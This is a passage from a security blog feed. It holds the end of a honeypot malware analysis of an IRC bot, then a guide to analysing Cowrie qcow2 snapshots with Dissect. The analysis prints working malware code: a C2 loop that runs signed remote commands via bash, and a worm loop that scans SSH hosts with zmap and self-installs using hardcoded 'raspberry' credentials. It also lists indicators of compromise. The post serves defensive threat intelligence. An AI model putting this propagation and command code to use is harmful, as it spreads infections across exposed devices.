style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # After a successful handshake, join the control channel named `#biret`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			eval 'printf "JOIN #biret\r\n" &gt;&amp;3;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				break</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        # Handle incoming private messages (potential malicious commands)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Extract base64‑encoded signature, command, and sender nickname</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			privmsg_h=$(echo $msg_in| cut -d':' -f 3)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			privmsg_data=$(echo $msg_in| cut -d':' -f 4)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Compute MD5 hash of decoded command</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Verify RSA signature using the public key stored in /tmp/public.pem</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Prevents other IRC users or defenders to hijack the bot</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            # Execute commands only if the signature is valid</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			if [[ "$sign" == "$hash" ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				CMD=`echo $privmsg_data | base64 -d -i`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				RES=`bash -c "$CMD" | base64 -w 0`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">                # Send command output back to sender (base64‑encoded)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" &gt;&amp;3;'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				if [[ ! "$?" -eq 0 ]] ; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">					break</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">				fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">			fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		fi</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	done</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">done</span><br></div></code></pre></div></div>
<p>Upon further inspection of the traces left behind, we only discovered that some PING messages were exchanged with the IRC server. The bot didn't established a connection with channel named <code>#biret</code>, hence, malicious commands were not sent or executed on the victim's machine. Unfortunately, this means that we couldn't really uncover the real goal of the bot.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="self-propagation">Self-propagation<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#self-propagation" class="hash-link" aria-label="Direct link to Self-propagation" title="Direct link to Self-propagation" translate="no">​</a></h3>
<p>The last step of the malicious shell script is to self-propagate to other victims. In a <code>while</code> loop, it scans with <code>zmap</code> for hosts with the <code>ssh</code> port open. For every responsive IP address found, the script attempts to authenticate using two hardcoded passwords: <code>raspberry</code> and <code>raspberryraspberry993311</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">while [ true ]; do</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	FILE=`mktemp`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Scan the Internet for hosts with port 22 (SSH) open.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # -n 100000 → scan 100k IPs per cycle</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Output list of responsive IPs to $FILE</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	zmap -p 22 -o $FILE -n 100000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Kill leftover SSH/SCP processes to avoid buildup</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall ssh scp</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Loop through every IP discovered by zmap</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	for IP in `cat $FILE`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	do</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        # Attempt infection using password "raspberry"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  &amp;&amp; echo $IP &gt;&gt; /opt/.r &amp;&amp; sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp &amp;&amp; chmod +x $NAME &amp;&amp; bash -c ./$NAME" &amp;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        # Attempt infection using second "raspberryraspberry993311"</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">		sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  &amp;&amp; echo $IP &gt;&gt; /opt/.r &amp;&amp; sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp &amp;&amp; chmod +x $NAME &amp;&amp; bash -c ./$NAME" &amp;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	done</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Clean up temporary scan results</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	rm -rf $FILE</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    # Clean up temporary scan results</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	sleep 10</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">done</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="extracted-iocs">Extracted IOCs<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#extracted-iocs" class="hash-link" aria-label="Direct link to Extracted IOCs" title="Direct link to Extracted IOCs" translate="no">​</a></h2>
<p>Threat intelligence gathered from analyzing the adversary session are:</p>
<ul>
<li class=""><a href="https://www.virustotal.com/gui/file/b32c507a1453527c42596e2f1544497659618e26d94c5e298c419b115e0124b0" target="_blank" rel="noopener noreferrer" class="">https://www.virustotal.com/gui/file/b32c507a1453527c42596e2f1544497659618e26d94c5e298c419b115e0124b0</a> - the associated VirusTotal page for the malware file</li>
<li class=""><a href="https://www.virustotal.com/gui/ip-address/88.147.18.235" target="_blank" rel="noopener noreferrer" class="">https://www.virustotal.com/gui/ip-address/88.147.18.235</a> - the source adversary IP <code>88.147.18.235</code></li>
<li class="">The sha256 of the file is <code>b32c507a1453527c42596e2f1544497659618e26d94c5e298c419b115e0124b0</code></li>
<li class="">Credentials used for the initial ssh connection are <code>pi/raspberryraspberry993311</code></li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-long-has-this-been-around">How long has this been around?<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#how-long-has-this-been-around" class="hash-link" aria-label="Direct link to How long has this been around?" title="Direct link to How long has this been around?" translate="no">​</a></h2>
<p>After doing a bit of research on connected attacks, it seems that this malware isn't exactly new. The credentials used -<code>pi/raspberryraspberry993311</code> - are mentioned in a <a href="https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/backdoor.sh.pimine.aa" target="_blank" rel="noopener noreferrer" class="">TrendMicro report published back in 2020</a>. It seems that the malware variant from TrendMicro didn't attempt to connect to the IRC channel <code>#biret</code>.</p>
<p>Also, the same <code>username:password</code> pair is mentioned in a <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/common-credentials-criminals-use-in-iot-dictionary-attacks-revealed" target="_blank" rel="noopener noreferrer" class="">list of common credentials used in IoT attacks published by Bitdefender</a>.</p>
<p>A <a href="https://gist.github.com/kawaiipantsu/8fac33724f0b1c648bfc0f599bbf9f1d" target="_blank" rel="noopener noreferrer" class="">public gist created in May, 2023</a>, publishes the same malware sample featuring the same public SSH key, password hash and credentials tried. The author mentions that the ultimate goal of this malware is to mine cryptocurrency on the infected IoT devices.</p>
<p>What makes the older cases interesting is the overlap with our sample: the same <code>username:password</code> pair was mentioned by Bitdefender and TrendMicro. This implies that a basic version of the malware remained unchanged across several years. In the incident investigated by us the IRC bot client that connects to <code>#biret</code> was introduced on top of what TrendMicro reported a while back. This feature is also highlighted in a <a href="https://isc.sans.edu/diary/28998" target="_blank" rel="noopener noreferrer" class="">SANS diary post</a> and in the gist malware sample mentioned above. This suggests that the adversary may have taken an older, well-established script and expanded its functionality.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusions">Conclusions<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#conclusions" class="hash-link" aria-label="Direct link to Conclusions" title="Direct link to Conclusions" translate="no">​</a></h2>
<p>Overall, the malware does a poor job at hiding the traces during its execution. Although it attempts to clean up after itself, it still generates some temporary files  allowing the honeypot to capture helpful information.</p>
<p>From these artifacts, we've been able to confirm that the bot only responded to a few PING messages and never successfully joined the intended C2 channel (<code>#biret</code>). Additionally, no evidence suggests that the malware was able to propagate further. The honeypot logs show that the entire session lasted only 22 seconds before the attacker disconnected, leaving no signs of successful lateral movement or follow‑up infections.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/irc-bot-analysis#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
        <category label="ircbot" term="ircbot"/>
        <category label="c2" term="c2"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[How to configure Dissect for Cowrie snapshots]]></title>
        <id>https://cybercloud.upb.ro/blog/dissect-for-cowrie</id>
        <link href="https://cybercloud.upb.ro/blog/dissect-for-cowrie"/>
        <updated>2025-09-11T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Learn how to set up Dissect to analyze Cowrie’s differential snapshots, making honeypot exploration smooth and quick.]]></summary>
        <content type="html"><![CDATA[<p>Honeypots like Cowrie are a great source of knowledge about attack vectors and new IOCs, but analyzing them can become a cumbersome task - especially because their number can get quite big. That’s where <a href="https://docs.dissect.tools/en/latest/" target="_blank" rel="noopener noreferrer" class="">Dissect</a> comes into play. By leveraging its API, you can streamline forensic analysis and automate snapshot processing. This opens up the road to fully automated IOC extraction pipelines that are able to analyze honeypot data and publish threat intelligence to be further processed by IDS tools.</p>
<p>This post is a short guide on how to configure Dissect API to work with Cowrie's snapshots.</p>
<p>Dissect provides a Python API that can easily integrate into existing pipelines or frameworks.
For most use cases, simply loading a target and applying plugins is enough:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">target </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> Target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">open</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">target_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">os </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">os</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">install_date </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">install_date</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">activity </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">activity</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">users </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">users</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><br></div></code></pre></div></div>
<p>Interacting with Cowrie snapshots can get slightly different because Cowrie generates <code>qcow2</code> differential snapshots on top of a base image to minimize disk usage. Inspecting a snapshot metadata with <code>qemu-img info</code> might paint a more clear picture:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">qemu-img info snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">image: snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2</span><br></div><div class="token-line" style="color:#000000"><span class="token output">file format: qcow2</span><br></div><div class="token-line" style="color:#000000"><span class="token output">virtual size: 4.88 GiB (5242880000 bytes)</span><br></div><div class="token-line" style="color:#000000"><span class="token output">disk size: 24.1 MiB</span><br></div><div class="token-line" style="color:#000000"><span class="token output">cluster_size: 65536</span><br></div><div class="token-line" style="color:#000000"><span class="token output">backing file: /mnt/data/ubuntu-22.04.qcow2</span><br></div><div class="token-line" style="color:#000000"><span class="token output">backing file format: qcow2</span><br></div><div class="token-line" style="color:#000000"><span class="token output">[...]</span><br></div></code></pre></div></div>
<p>A naive approach to analyze Cowrie snapshots is to create standalone <code>qcow2</code> images by concatenating the base and snapshot image with <code>qemu-img</code> tools. However, this comes with a significant downside - it is time-consuming for a large number of snapshots as Cowrie generates.</p>
<p>Depending on your Cowrie setup, Dissect can automatically detect the backing file path and loading it alongside the snapshot.
Under the hood, <code>Target.open(target_path)</code> detects the image type (<code>qcow2</code>), reads the image headers, and most likely discovers the backing file path automatically.</p>
<p>For more control, you can interact directly with <a href="hhttps://github.com/fox-it/dissect.hypervisor/blob/main/dissect/hypervisor/disk/qcow2.py#L38-L63" target="_blank" rel="noopener noreferrer" class="">Dissect’s QCOW2 module</a>, giving you more flexibility to handle snapshots and base images explicitly:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token keyword" style="color:rgb(0, 0, 255)">from</span><span class="token plain"> dissect</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">target </span><span class="token keyword" style="color:rgb(0, 0, 255)">import</span><span class="token plain"> Target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token keyword" style="color:rgb(0, 0, 255)">from</span><span class="token plain"> dissect</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">hypervisor</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">disk </span><span class="token keyword" style="color:rgb(0, 0, 255)">import</span><span class="token plain"> qcow2</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token keyword" style="color:rgb(0, 0, 255)">from</span><span class="token plain"> pathlib </span><span class="token keyword" style="color:rgb(0, 0, 255)">import</span><span class="token plain"> Path</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token keyword" style="color:rgb(0, 0, 255)">def</span><span class="token plain"> </span><span class="token function" style="color:rgb(0, 0, 255)">open_qcow2_with_backing_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">snapshot_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Open base QCOW2 image</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    backing_fh </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> backing_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">open</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token string" style="color:rgb(163, 21, 21)">"rb"</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    base_qcow2 </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> qcow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">QCow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">backing_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    base_stream </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> base_qcow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">open</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Open snapshot QCOW2 image with base as backing file</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_fh </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> snapshot_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">open</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token string" style="color:rgb(163, 21, 21)">"rb"</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_qcow2 </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> qcow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">QCow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        snapshot_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        backing_file</span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain">base_stream</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_stream </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> snapshot_qcow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">open</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token keyword" style="color:rgb(0, 0, 255)">return</span><span class="token plain"> snapshot_stream</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> snapshot_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> base_stream</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token keyword" style="color:rgb(0, 0, 255)">def</span><span class="token plain"> </span><span class="token function" style="color:rgb(0, 0, 255)">analyze_image</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">snapshot_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Open the QCOW2 snapshot along with its backing file and get file/stream handles</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_stream</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> snapshot_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> base_stream </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> open_qcow2_with_backing_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">snapshot_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Create a new Dissect target to analyze the disk image</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    target </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> Target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Add the snapshot stream to the target’s disks</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">disks</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">add</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">snapshot_stream</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Resolve all disks, volumes and filesystems and load an operating system on the current</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token builtin" style="color:rgb(0, 112, 193)">apply</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Collect data from the snapshot</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    os </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">os</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    install_date </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">install_date</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    activity </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">activity</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    users </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> target</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">users</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token comment" style="color:rgb(0, 128, 0)"># Clean up file handles / streams explicitly</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_stream</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">close</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    base_stream</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">close</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    snapshot_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">close</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    backing_fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">.</span><span class="token plain">close</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token keyword" style="color:rgb(0, 0, 255)">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:rgb(0, 0, 0)">==</span><span class="token plain"> </span><span class="token string" style="color:rgb(163, 21, 21)">"__main__"</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">  snapshot_path </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token string" style="color:rgb(163, 21, 